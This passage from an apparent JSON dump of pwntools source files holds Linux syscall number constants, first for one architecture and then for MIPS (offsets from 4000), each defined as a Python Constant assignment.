Constant('SYS_reboot',142)\nSYS_recvfrom = Constant('SYS_recvfrom',207)\nSYS_recvmmsg = Constant('SYS_recvmmsg',243)\nSYS_recvmsg = Constant('SYS_recvmsg',212)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',234)\nSYS_removexattr = Constant('SYS_removexattr',14)\nSYS_renameat2 = Constant('SYS_renameat2',276)\nSYS_request_key = Constant('SYS_request_key',218)\nSYS_restart_syscall = Constant('SYS_restart_syscall',128)\nSYS_rseq = Constant('SYS_rseq',293)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',134)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',136)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',135)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',138)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',139)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',133)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',137)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',240)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',123)\nSYS_sched_getattr = Constant('SYS_sched_getattr',275)\nSYS_sched_getparam = Constant('SYS_sched_getparam',121)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',125)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',126)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',120)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',127)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',122)\nSYS_sched_setattr = Constant('SYS_sched_setattr',274)\nSYS_sched_setparam = Constant('SYS_sched_setparam',118)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',119)\nSYS_sched_yield = Constant('SYS_sched_yield',124)\nSYS_seccomp = Constant('SYS_seccomp',277)\nSYS_semctl = Constant('SYS_semctl',191)\nSYS_semget = Constant('SYS_semget',190)\nSYS_semop = Constant('SYS_semop',193)\nSYS_semtimedop = Constant('SYS_semtimedop',192)\nSYS_sendfile = Constant('SYS_sendfile',71)\nSYS_sendmmsg = Constant('SYS_sendmmsg',269)\nSYS_sendmsg = Constant('SYS_sendmsg',211)\nSYS_sendto = Constant('SYS_sendto',206)\nSYS_setdomainname = Constant('SYS_setdomainname',162)\nSYS_setfsgid = Constant('SYS_setfsgid',152)\nSYS_setfsuid = Constant('SYS_setfsuid',151)\nSYS_setgid = Constant('SYS_setgid',144)\nSYS_setgroups = Constant('SYS_setgroups',159)\nSYS_sethostname = Constant('SYS_sethostname',161)\nSYS_setitimer = Constant('SYS_setitimer',103)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',237)\nSYS_set_mempolicy_home_node = Constant('SYS_set_mempolicy_home_node',450)\nSYS_setns = Constant('SYS_setns',268)\nSYS_setpgid = Constant('SYS_setpgid',154)\nSYS_setpriority = Constant('SYS_setpriority',140)\nSYS_setregid = Constant('SYS_setregid',143)\nSYS_setresgid = Constant('SYS_setresgid',149)\nSYS_setresuid = Constant('SYS_setresuid',147)\nSYS_setreuid = Constant('SYS_setreuid',145)\nSYS_set_robust_list = Constant('SYS_set_robust_list',99)\nSYS_setsid = Constant('SYS_setsid',157)\nSYS_setsockopt = Constant('SYS_setsockopt',208)\nSYS_set_tid_address = Constant('SYS_set_tid_address',96)\nSYS_settimeofday = Constant('SYS_settimeofday',170)\nSYS_setuid = Constant('SYS_setuid',146)\nSYS_setxattr = Constant('SYS_setxattr',5)\nSYS_shmat = Constant('SYS_shmat',196)\nSYS_shmctl = Constant('SYS_shmctl',195)\nSYS_shmdt = Constant('SYS_shmdt',197)\nSYS_shmget = Constant('SYS_shmget',194)\nSYS_shutdown = Constant('SYS_shutdown',210)\nSYS_sigaltstack = Constant('SYS_sigaltstack',132)\nSYS_signalfd4 = Constant('SYS_signalfd4',74)\nSYS_socket = Constant('SYS_socket',198)\nSYS_socketpair = Constant('SYS_socketpair',199)\nSYS_splice = Constant('SYS_splice',76)\nSYS_statfs = Constant('SYS_statfs',43)\nSYS_statx = Constant('SYS_statx',291)\nSYS_swapoff = Constant('SYS_swapoff',225)\nSYS_swapon = Constant('SYS_swapon',224)\nSYS_symlinkat = Constant('SYS_symlinkat',36)\nSYS_sync = Constant('SYS_sync',81)\nSYS_sync_file_range = Constant('SYS_sync_file_range',84)\nSYS_syncfs = Constant('SYS_syncfs',267)\nSYS_sysinfo = Constant('SYS_sysinfo',179)\nSYS_syslog = Constant('SYS_syslog',116)\nSYS_tee = Constant('SYS_tee',77)\nSYS_tgkill = Constant('SYS_tgkill',131)\nSYS_timer_create = Constant('SYS_timer_create',107)\nSYS_timer_delete = Constant('SYS_timer_delete',111)\nSYS_timerfd_create = Constant('SYS_timerfd_create',85)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',87)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',86)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',109)\nSYS_timer_gettime = Constant('SYS_timer_gettime',108)\nSYS_timer_settime = Constant('SYS_timer_settime',110)\nSYS_times = Constant('SYS_times',153)\nSYS_tkill = Constant('SYS_tkill',130)\nSYS_truncate = Constant('SYS_truncate',45)\nSYS_umask = Constant('SYS_umask',166)\nSYS_umount2 = Constant('SYS_umount2',39)\nSYS_uname = Constant('SYS_uname',160)\nSYS_unlinkat = Constant('SYS_unlinkat',35)\nSYS_unshare = Constant('SYS_unshare',97)\nSYS_userfaultfd = Constant('SYS_userfaultfd',282)\nSYS_utimensat = Constant('SYS_utimensat',88)\nSYS_vhangup = Constant('SYS_vhangup',58)\nSYS_vmsplice = Constant('SYS_vmsplice',75)\nSYS_wait4 = Constant('SYS_wait4',260)\nSYS_waitid = Constant('SYS_waitid',95)\nSYS_write = Constant('SYS_write',64)\nSYS_writev = Constant('SYS_writev',66)\n"
  },
  {
    "path": "pwnlib/constants/linux/mips.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_Linux = Constant('__NR_Linux',4000)\n__NR_syscall = Constant('__NR_syscall',(4000 +\t0))\n__NR_exit = Constant('__NR_exit',(4000 +\t1))\n__NR_fork = Constant('__NR_fork',(4000 +\t2))\n__NR_read = Constant('__NR_read',(4000 +\t3))\n__NR_write = Constant('__NR_write',(4000 +\t4))\n__NR_open = Constant('__NR_open',(4000 +\t5))\n__NR_close = Constant('__NR_close',(4000 +\t6))\n__NR_waitpid = Constant('__NR_waitpid',(4000 +\t7))\n__NR_creat = Constant('__NR_creat',(4000 +\t8))\n__NR_link = Constant('__NR_link',(4000 +\t9))\n__NR_unlink = Constant('__NR_unlink',(4000 +  10))\n__NR_execve = Constant('__NR_execve',(4000 +  11))\n__NR_chdir = Constant('__NR_chdir',(4000 +  12))\n__NR_time = Constant('__NR_time',(4000 +  13))\n__NR_mknod = Constant('__NR_mknod',(4000 +  14))\n__NR_chmod = Constant('__NR_chmod',(4000 +  15))\n__NR_lchown = Constant('__NR_lchown',(4000 +  16))\n__NR_break = Constant('__NR_break',(4000 +  17))\n__NR_unused18 = Constant('__NR_unused18',(4000 +  18))\n__NR_lseek = Constant('__NR_lseek',(4000 +  19))\n__NR_getpid = Constant('__NR_getpid',(4000 +  20))\n__NR_mount = Constant('__NR_mount',(4000 +  21))\n__NR_umount = Constant('__NR_umount',(4000 +  22))\n__NR_setuid = Constant('__NR_setuid',(4000 +  23))\n__NR_getuid = Constant('__NR_getuid',(4000 +  24))\n__NR_stime = Constant('__NR_stime',(4000 +  25))\n__NR_ptrace = Constant('__NR_ptrace',(4000 +  26))\n__NR_alarm = Constant('__NR_alarm',(4000 +  27))\n__NR_unused28 = Constant('__NR_unused28',(4000 +  28))\n__NR_pause = Constant('__NR_pause',(4000 +  29))\n__NR_utime = Constant('__NR_utime',(4000 +  30))\n__NR_stty = Constant('__NR_stty',(4000 +  31))\n__NR_gtty = Constant('__NR_gtty',(4000 +  32))\n__NR_access = Constant('__NR_access',(4000 +  33))\n__NR_nice = Constant('__NR_nice',(4000 +  34))\n__NR_ftime = Constant('__NR_ftime',(4000 +  35))\n__NR_sync = Constant('__NR_sync',(4000 +  36))\n__NR_kill = Constant('__NR_kill',(4000 +  37))\n__NR_rename = Constant('__NR_rename',(4000 +  38))\n__NR_mkdir = Constant('__NR_mkdir',(4000 +  39))\n__NR_rmdir = Constant('__NR_rmdir',(4000 +  40))\n__NR_dup = Constant('__NR_dup',(4000 +  41))\n__NR_pipe = Constant('__NR_pipe',(4000 +  42))\n__NR_times = Constant('__NR_times',(4000 +  43))\n__NR_prof = Constant('__NR_prof',(4000 +  44))\n__NR_brk = Constant('__NR_brk',(4000 +  45))\n__NR_setgid = Constant('__NR_setgid',(4000 +  46))\n__NR_getgid = Constant('__NR_getgid',(4000 +  47))\n__NR_signal = Constant('__NR_signal',(4000 +  48))\n__NR_geteuid = Constant('__NR_geteuid',(4000 +  49))\n__NR_getegid = Constant('__NR_getegid',(4000 +  50))\n__NR_acct = Constant('__NR_acct',(4000 +  51))\n__NR_umount2 = Constant('__NR_umount2',(4000 +  52))\n__NR_lock = Constant('__NR_lock',(4000 +  53))\n__NR_ioctl = Constant('__NR_ioctl',(4000 +  54))\n__NR_fcntl = Constant('__NR_fcntl',(4000 +  55))\n__NR_mpx = Constant('__NR_mpx',(4000 +  56))\n__NR_setpgid = Constant('__NR_setpgid',(4000 +  57))\n__NR_ulimit = Constant('__NR_ulimit',(4000 +  58))\n__NR_unused59 = Constant('__NR_unused59',(4000 +  59))\n__NR_umask = Constant('__NR_umask',(4000 +  60))\n__NR_chroot = Constant('__NR_chroot',(4000 +  61))\n__NR_ustat = Constant('__NR_ustat',(4000 +  62))\n__NR_dup2 = Constant('__NR_dup2',(4000 +  63))\n__NR_getppid = Constant('__NR_getppid',(4000 +  64))\n__NR_getpgrp = Constant('__NR_getpgrp',(4000 +  65))\n__NR_setsid = Constant('__NR_setsid',(4000 +  66))\n__NR_sigaction = Constant('__NR_sigaction',(4000 +  67))\n__NR_sgetmask = Constant('__NR_sgetmask',(4000 +  68))\n__NR_ssetmask = Constant('__NR_ssetmask',(4000 +  69))\n__NR_setreuid = Constant('__NR_setreuid',(4000 +  70))\n__NR_setregid = Constant('__NR_setregid',(4000 +  71))\n__NR_sigsuspend = Constant('__NR_sigsuspend',(4000 +  72))\n__NR_sigpending = Constant('__NR_sigpending',(4000 +  73))\n__NR_sethostname = Constant('__NR_sethostname',(4000 +  74))\n__NR_setrlimit = Constant('__NR_setrlimit',(4000 +  75))\n__NR_getrlimit = Constant('__NR_getrlimit',(4000 +  76))\n__NR_getrusage = Constant('__NR_getrusage',(4000 +  77))\n__NR_gettimeofday = Constant('__NR_gettimeofday',(4000 +  78))\n__NR_settimeofday = Constant('__NR_settimeofday',(4000 +  79))\n__NR_getgroups = Constant('__NR_getgroups',(4000 +  80))\n__NR_setgroups = Constant('__NR_setgroups',(4000 +  81))\n__NR_reserved82 = Constant('__NR_reserved82',(4000 +  82))\n__NR_symlink = Constant('__NR_symlink',(4000 +  83))\n__NR_unused84 = Constant('__NR_unused84',(4000 +  84))\n__NR_readlink = Constant('__NR_readlink',(4000 +  85))\n__NR_uselib = Constant('__NR_uselib',(4000 +  86))\n__NR_swapon = Constant('__NR_swapon',(4000 +  87))\n__NR_reboot = Constant('__NR_reboot',(4000 +  88))\n__NR_readdir = Constant('__NR_readdir',(4000 +  89))\n__NR_mmap = Constant('__NR_mmap',(4000 +  90))\n__NR_munmap = Constant('__NR_munmap',(4000 +  91))\n__NR_truncate = Constant('__NR_truncate',(4000 +  92))\n__NR_ftruncate = Constant('__NR_ftruncate',(4000 +  93))\n__NR_fchmod = Constant('__NR_fchmod',(4000 +  94))\n__NR_fchown = Constant('__NR_fchown',(4000 +  95))\n__NR_getpriority = Constant('__NR_getpriority',(4000 +  96))\n__NR_setpriority = Constant('__NR_setpriority',(4000 +  97))\n__NR_profil = Constant('__NR_profil',(4000 +  98))\n__NR_statfs = Constant('__NR_statfs',(4000 +  99))\n__NR_fstatfs = Constant('__NR_fstatfs',(4000 + 100))\n__NR_ioperm = Constant('__NR_ioperm',(4000 + 101))\n__NR_socketcall = Constant('__NR_socketcall',(4000 + 102))\n__NR_syslog = Constant('__NR_syslog',(4000 + 103))\n__NR_setitimer = Constant('__NR_setitimer',(4000 + 104))\n__NR_getitimer = Constant('__NR_getitimer',(4000 + 105))\n__NR_stat = Constant('__NR_stat',(4000 + 106))\n__NR_lstat = Constant('__NR_lstat',(4000 + 107))\n__NR_fstat = Constant('__NR_fstat',(4000 + 108))\n__NR_unused109 = Constant('__NR_unused109',(4000 + 109))\n__NR_iopl = Constant('__NR_iopl',(4000 + 110))\n__NR_vhangup = Constant('__NR_vhangup',(4000 + 111))\n__NR_idle = Constant('__NR_idle',(4000 + 112))\n__NR_vm86 = Constant('__NR_vm86',(4000 + 113))\n__NR_wait4 = Constant('__NR_wait4',(4000 + 114))\n__NR_swapoff = Constant('__NR_swapoff',(4000 + 115))\n__NR_sysinfo = Constant('__NR_sysinfo',(4000 + 116))\n__NR_ipc = Constant('__NR_ipc',(4000 + 117))\n__NR_fsync = Constant('__NR_fsync',(4000 + 118))\n__NR_sigreturn = Constant('__NR_sigreturn',(4000 + 119))\n__NR_clone = Constant('__NR_clone',(4000 + 120))\n__NR_setdomainname = Constant('__NR_setdomainname',(4000 + 121))\n__NR_uname = Constant('__NR_uname',(4000 + 122))\n__NR_modify_ldt = Constant('__NR_modify_ldt',(4000 + 123))\n__NR_adjtimex = Constant('__NR_adjtimex',(4000 + 124))\n__NR_mprotect = Constant('__NR_mprotect',(4000 + 125))\n__NR_sigprocmask = Constant('__NR_sigprocmask',(4000 + 126))\n__NR_create_module = Constant('__NR_create_module',(4000 + 127))\n__NR_init_module = Constant('__NR_init_module',(4000 + 128))\n__NR_delete_module = Constant('__NR_delete_module',(4000 + 129))\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',(4000 + 130))\n__NR_quotactl = Constant('__NR_quotactl',(4000 + 131))\n__NR_getpgid = Constant('__NR_getpgid',(4000 + 132))\n__NR_fchdir = Constant('__NR_fchdir',(4000 + 133))\n__NR_bdflush = Constant('__NR_bdflush',(4000 + 134))\n__NR_sysfs = Constant('__NR_sysfs',(4000 + 135))\n__NR_personality = Constant('__NR_personality',(4000 + 136))\n__NR_afs_syscall = Constant('__NR_afs_syscall',(4000 + 137))\n__NR_setfsuid = Constant('__NR_setfsuid',(4000 + 138))\n__NR_setfsgid = Constant('__NR_setfsgid',(4000 + 139))\n__NR__llseek = Constant('__NR__llseek',(4000 + 140))\n__NR_getdents = Constant('__NR_getdents',(4000 + 141))\n__NR__newselect = Constant('__NR__newselect',(4000 + 142))\n__NR_flock = Constant('__NR_flock',(4000 + 143))\n__NR_msync = Constant('__NR_msync',(4000 + 144))\n__NR_readv = Constant('__NR_readv',(4000 + 145))\n__NR_writev = Constant('__NR_writev',(4000 + 146))\n__NR_cacheflush = Constant('__NR_cacheflush',(4000 + 147))\n__NR_cachectl = Constant('__NR_cachectl',(4000 + 148))\n__NR_sysmips = Constant('__NR_sysmips',(4000 + 149))\n__NR_unused150 = Constant('__NR_unused150',(4000 + 150))\n__NR_getsid = Constant('__NR_getsid',(4000 + 151))\n__NR_fdatasync = Constant('__NR_fdatasync',(4000 + 152))\n__NR__sysctl = Constant('__NR__sysctl',(4000 + 153))\n__NR_mlock = Constant('__NR_mlock',(4000 + 154))\n__NR_munlock = Constant('__NR_munlock',(4000 + 155))\n__NR_mlockall = Constant('__NR_mlockall',(4000 + 156))\n__NR_munlockall = Constant('__NR_munlockall',(4000 + 157))\n__NR_sched_setparam = Constant('__NR_sched_setparam',(4000 + 158))\n__NR_sched_getparam = Constant('__NR_sched_getparam',(4000 + 159))\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(4000 + 160))\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(4000 + 161))\n__NR_sched_yield = Constant('__NR_sched_yield',(4000 + 162))\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(4000 + 163))\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(4000 + 164))\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(4000 + 165))\n__NR_nanosleep = Constant('__NR_nanosleep',(4000 + 166))\n__NR_mremap = Constant('__NR_mremap',(4000 + 167))\n__NR_accept = Constant('__NR_accept',(4000 + 168))\n__NR_bind = Constant('__NR_bind',(4000 + 169))\n__NR_connect = Constant('__NR_connect',(4000 + 170))\n__NR_getpeername = Constant('__NR_getpeername',(4000 + 171))\n__NR_getsockname = Constant('__NR_getsockname',(4000 + 172))\n__NR_getsockopt = Constant('__NR_getsockopt',(4000 + 173))\n__NR_listen = Constant('__NR_listen',(4000 + 174))\n__NR_recv = Constant('__NR_recv',(4000 + 175))\n__NR_recvfrom = Constant('__NR_recvfrom',(4000 + 176))\n__NR_recvmsg = Constant('__NR_recvmsg',(4000 + 177))\n__NR_send = Constant('__NR_send',(4000 + 178))\n__NR_sendmsg = Constant('__NR_sendmsg',(4000 + 179))\n__NR_sendto = Constant('__NR_sendto',(4000 + 180))\n__NR_setsockopt = Constant('__NR_setsockopt',(4000 + 181))\n__NR_shutdown = Constant('__NR_shutdown',(4000 + 182))\n__NR_socket = Constant('__NR_socket',(4000 + 183))\n__NR_socketpair = Constant('__NR_socketpair',(4000 + 184))\n__NR_setresuid = Constant('__NR_setresuid',(4000 + 185))\n__NR_getresuid = Constant('__NR_getresuid',(4000 + 186))\n__NR_query_module = Constant('__NR_query_module',(4000 + 187))\n__NR_poll = Constant('__NR_poll',(4000 + 188))\n__NR_nfsservctl = Constant('__NR_nfsservctl',(4000 + 189))\n__NR_setresgid = Constant('__NR_setresgid',(4000 + 190))\n__NR_getresgid = Constant('__NR_getresgid',(4000 + 191))\n__NR_prctl = Constant('__NR_prctl',(4000 + 192))\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(4000 + 193))\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',(4000 + 194))\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(4000 + 195))\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',(4000 + 196))\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(4000 + 197))\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(4000 + 198))\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(4000 + 199))\n__NR_pread64 = Constant('__NR_pread64',(4000 + 200))\n__NR_pwrite64 = Constant('__NR_pwrite64',(4000 + 201))\n__NR_chown = Constant('__NR_chown',(4000 + 202))\n__NR_getcwd = Constant('__NR_getcwd',(4000 + 203))\n__NR_capget = Constant('__NR_capget',(4000 + 204))\n__NR_capset = Constant('__NR_capset',(4000 + 205))\n__NR_sigaltstack = Constant('__NR_sigaltstack',(4000 + 206))\n__NR_sendfile = Constant('__NR_sendfile',(4000 + 207))\n__NR_getpmsg = Constant('__NR_getpmsg',(4000 + 208))\n__NR_putpmsg = Constant('__NR_putpmsg',(4000 + 209))\n__NR_mmap2 = Constant('__NR_mmap2',(4000 + 210))\n__NR_truncate64 = Constant('__NR_truncate64',(4000 + 211))\n__NR_ftruncate64 = Constant('__NR_ftruncate64',(4000 + 212))\n__NR_stat64 = Constant('__NR_stat64',(4000 + 213))\n__NR_lstat64 = Constant('__NR_lstat64',(4000 + 214))\n__NR_fstat64 = Constant('__NR_fstat64',(4000 + 215))\n__NR_pivot_root = Constant('__NR_pivot_root',(4000 + 216))\n__NR_mincore = Constant('__NR_mincore',(4000 + 217))\n__NR_madvise = Constant('__NR_madvise',(4000 + 218))\n__NR_getdents64 = Constant('__NR_getdents64',(4000 + 219))\n__NR_fcntl64 = Constant('__NR_fcntl64',(4000 + 220))\n__NR_reserved221 = Constant('__NR_reserved221',(4000 + 221))\n__NR_gettid = Constant('__NR_gettid',(4000 + 222))\n__NR_readahead = Constant('__NR_readahead',(4000 + 223))\n__NR_setxattr = Constant('__NR_setxattr',(4000 + 224))\n__NR_lsetxattr = Constant('__NR_lsetxattr',(4000 + 225))\n__NR_fsetxattr = Constant('__NR_fsetxattr',(4000 + 226))\n__NR_getxattr = Constant('__NR_getxattr',(4000 + 227))\n__NR_lgetxattr = Constant('__NR_lgetxattr',(4000 + 228))\n__NR_fgetxattr = Constant('__NR_fgetxattr',(4000 + 229))\n__NR_listxattr = Constant('__NR_listxattr',(4000 + 230))\n__NR_llistxattr = Constant('__NR_llistxattr',(4000 + 231))\n__NR_flistxattr = Constant('__NR_flistxattr',(4000 + 232))\n__NR_removexattr = Constant('__NR_removexattr',(4000 + 233))\n__NR_lremovexattr = Constant('__NR_lremovexattr',(4000 + 234))\n__NR_fremovexattr = Constant('__NR_fremovexattr',(4000 + 235))\n__NR_tkill = Constant('__NR_tkill',(4000 + 236))\n__NR_sendfile64 = Constant('__NR_sendfile64',(4000 + 237))\n__NR_futex = Constant('__NR_futex',(4000 + 238))\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(4000 + 239))\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(4000 + 240))\n__NR_io_setup = Constant('__NR_io_setup',(4000 + 241))\n__NR_io_destroy = Constant('__NR_io_destroy',(4000 + 242))\n__NR_io_getevents = Constant('__NR_io_getevents',(4000 + 243))\n__NR_io_submit = Constant('__NR_io_submit',(4000 + 244))\n__NR_io_cancel = Constant('__NR_io_cancel',(4000 + 245))\n__NR_exit_group = Constant('__NR_exit_group',(4000 + 246))\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(4000 + 247))\n__NR_epoll_create = Constant('__NR_epoll_create',(4000 + 248))\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',(4000 + 249))\n__NR_epoll_wait = Constant('__NR_epoll_wait',(4000 + 250))\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',(4000 + 251))\n__NR_set_tid_address = Constant('__NR_set_tid_address',(4000 + 252))\n__NR_restart_syscall = Constant('__NR_restart_syscall',(4000 + 253))\n__NR_fadvise64 = Constant('__NR_fadvise64',(4000 + 254))\n__NR_statfs64 = Constant('__NR_statfs64',(4000 + 255))\n__NR_fstatfs64 = Constant('__NR_fstatfs64',(4000 + 256))\n__NR_timer_create = Constant('__NR_timer_create',(4000 + 257))\n__NR_timer_settime = Constant('__NR_timer_settime',(4000 + 258))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(4000 + 259))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(4000 + 260))\n__NR_timer_delete = Constant('__NR_timer_delete',(4000 + 261))\n__NR_clock_settime = Constant('__NR_clock_settime',(4000 + 262))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(4000 + 263))\n__NR_clock_getres = Constant('__NR_clock_getres',(4000 + 264))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(4000 + 265))\n__NR_tgkill = Constant('__NR_tgkill',(4000 + 266))\n__NR_utimes = Constant('__NR_utimes',(4000 + 267))\n__NR_mbind = Constant('__NR_mbind',(4000 + 268))\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',(4000 + 269))\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',(4000 + 270))\n__NR_mq_open = Constant('__NR_mq_open',(4000 + 271))\n__NR_mq_unlink = Constant('__NR_mq_unlink',(4000 + 272))\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',(4000 + 273))\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(4000 + 274))\n__NR_mq_notify = Constant('__NR_mq_notify',(4000 + 275))\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(4000 + 276))\n__NR_vserver = Constant('__NR_vserver',(4000 + 277))\n__NR_waitid = Constant('__NR_waitid',(4000 + 278))\n__NR_add_key = Constant('__NR_add_key',(4000 + 280))\n__NR_request_key = Constant('__NR_request_key',(4000 + 281))\n__NR_keyctl = Constant('__NR_keyctl',(4000 + 282))\n__NR_set_thread_area = Constant('__NR_set_thread_area',(4000 + 283))\n__NR_inotify_init = Constant('__NR_inotify_init',(4000 + 284))\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(4000 + 285))\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(4000 + 286))\n__NR_migrate_pages = Constant('__NR_migrate_pages',(4000 + 287))\n__NR_openat = Constant('__NR_openat',(4000 + 288))\n__NR_mkdirat = Constant('__NR_mkdirat',(4000 + 289))\n__NR_mknodat = Constant('__NR_mknodat',(4000 + 290))\n__NR_fchownat = Constant('__NR_fchownat',(4000 + 291))\n__NR_futimesat = Constant('__NR_futimesat',(4000 + 292))\n__NR_fstatat64 = Constant('__NR_fstatat64',(4000 + 293))\n__NR_unlinkat = Constant('__NR_unlinkat',(4000 + 294))\n__NR_renameat = Constant('__NR_renameat',(4000 + 295))\n__NR_linkat = Constant('__NR_linkat',(4000 + 296))\n__NR_symlinkat = Constant('__NR_symlinkat',(4000 + 297))\n__NR_readlinkat = Constant('__NR_readlinkat',(4000 + 298))\n__NR_fchmodat = Constant('__NR_fchmodat',(4000 + 299))\n__NR_faccessat = Constant('__NR_faccessat',(4000 + 300))\n__NR_pselect6 = Constant('__NR_pselect6',(4000 + 301))\n__NR_ppoll = Constant('__NR_ppoll',(4000 + 302))\n__NR_unshare = Constant('__NR_unshare',(4000 + 303))\n__NR_splice = Constant('__NR_splice',(4000 + 304))\n__NR_sync_file_range = Constant('__NR_sync_file_range',(4000 + 305))\n__NR_tee = Constant('__NR_tee',(4000 + 306))\n__NR_vmsplice = Constant('__NR_vmsplice',(4000 + 307))\n__NR_move_pages = Constant('__NR_move_pages',(4000 + 308))\n__NR_set_robust_list = Constant('__NR_set_robust_list',(4000 + 309))\n__NR_get_robust_list = Constant('__NR_get_robust_list',(4000 + 310))\n__NR_kexec_load = Constant('__NR_kexec_load',(4000 + 311))\n__NR_getcpu = Constant('__NR_getcpu',(4000 + 312))\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',(4000 + 313))\n__NR_ioprio_set = Constant('__NR_ioprio_set',(4000 + 314))\n__NR_ioprio_get = Constant('__NR_ioprio_get',(4000 + 315))\n__NR_utimensat = Constant('__NR_utimensat',(4000 + 316))\n__NR_signalfd = Constant('__NR_signalfd',(4000 + 317))\n__NR_timerfd = Constant('__NR_timerfd',(4000 + 318))\n__NR_eventfd = Constant('__NR_eventfd',(4000 + 319))\n__NR_fallocate = Constant('__NR_fallocate',(4000 + 320))\n__NR_timerfd_create = Constant('__NR_timerfd_create',(4000 + 321))\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(4000 + 322))\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',(4000 + 323))\n__NR_signalfd4 = Constant('__NR_signalfd4',(4000 + 324))\n__NR_eventfd2 = Constant('__NR_eventfd2',(4000 + 325))\n__NR_epoll_create1 = Constant('__NR_epoll_create1',(4000 + 326))\n__NR_dup3 = Constant('__NR_dup3',(4000 + 327))\n__NR_pipe2 = Constant('__NR_pipe2',(4000 + 328))\n__NR_inotify_init1 = Constant('__NR_inotify_init1',(4000 + 329))\n__NR_preadv = Constant('__NR_preadv',(4000 + 330))\n__NR_pwritev = Constant('__NR_pwritev',(4000 + 331))\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(4000 + 332))\n__NR_perf_event_open = Constant('__NR_perf_event_open',(4000 + 333))\n__NR_accept4 = Constant('__NR_accept4',(4000 + 334))\n__NR_recvmmsg = Constant('__NR_recvmmsg',(4000 + 335))\n__NR_fanotify_init = Constant('__NR_fanotify_init',(4000 + 336))\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',(4000 + 337))\n__NR_prlimit64 = Constant('__NR_prlimit64',(4000 + 338))\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(4000 + 339))\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(4000 + 340))\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',(4000 + 341))\n__NR_syncfs = Constant('__NR_syncfs',(4000 + 342))\n__NR_sendmmsg = Constant('__NR_sendmmsg',(4000 + 343))\n__NR_setns = Constant('__NR_setns',(4000 + 344))\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',(4000 + 345))\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',(4000 + 346))\n__NR_kcmp = Constant('__NR_kcmp',(4000 + 347))\n__NR_finit_module = Constant('__NR_finit_module',(4000 + 348))\n__NR_sched_setattr = Constant('__NR_sched_setattr',(4000 + 349))\n__NR_sched_getattr = Constant('__NR_sched_getattr',(4000 + 350))\n__NR_renameat2 = Constant('__NR_renameat2',(4000 + 351))\n__NR_seccomp = Constant('__NR_seccomp',(4000 + 352))\n__NR_getrandom = Constant('__NR_getrandom',(4000 + 353))\n__NR_memfd_create = Constant('__NR_memfd_create',(4000 + 354))\n__NR_bpf = Constant('__NR_bpf',(4000 + 355))\n__NR_execveat = Constant('__NR_execveat',(4000 + 356))\n__NR_userfaultfd = Constant('__NR_userfaultfd',(4000 + 357))\n__NR_membarrier = Constant('__NR_membarrier',(4000 + 358))\n__NR_mlock2 = Constant('__NR_mlock2',(4000 + 359))\n__NR_copy_file_range = Constant('__NR_copy_file_range',(4000 + 360))\n__NR_preadv2 = Constant('__NR_preadv2',(4000 + 361))\n__NR_pwritev2 = Constant('__NR_pwritev2',(4000 + 362))\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(4000 + 363))\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',(4000 + 364))\n__NR_pkey_free = Constant('__NR_pkey_free',(4000 + 365))\n__NR_statx = 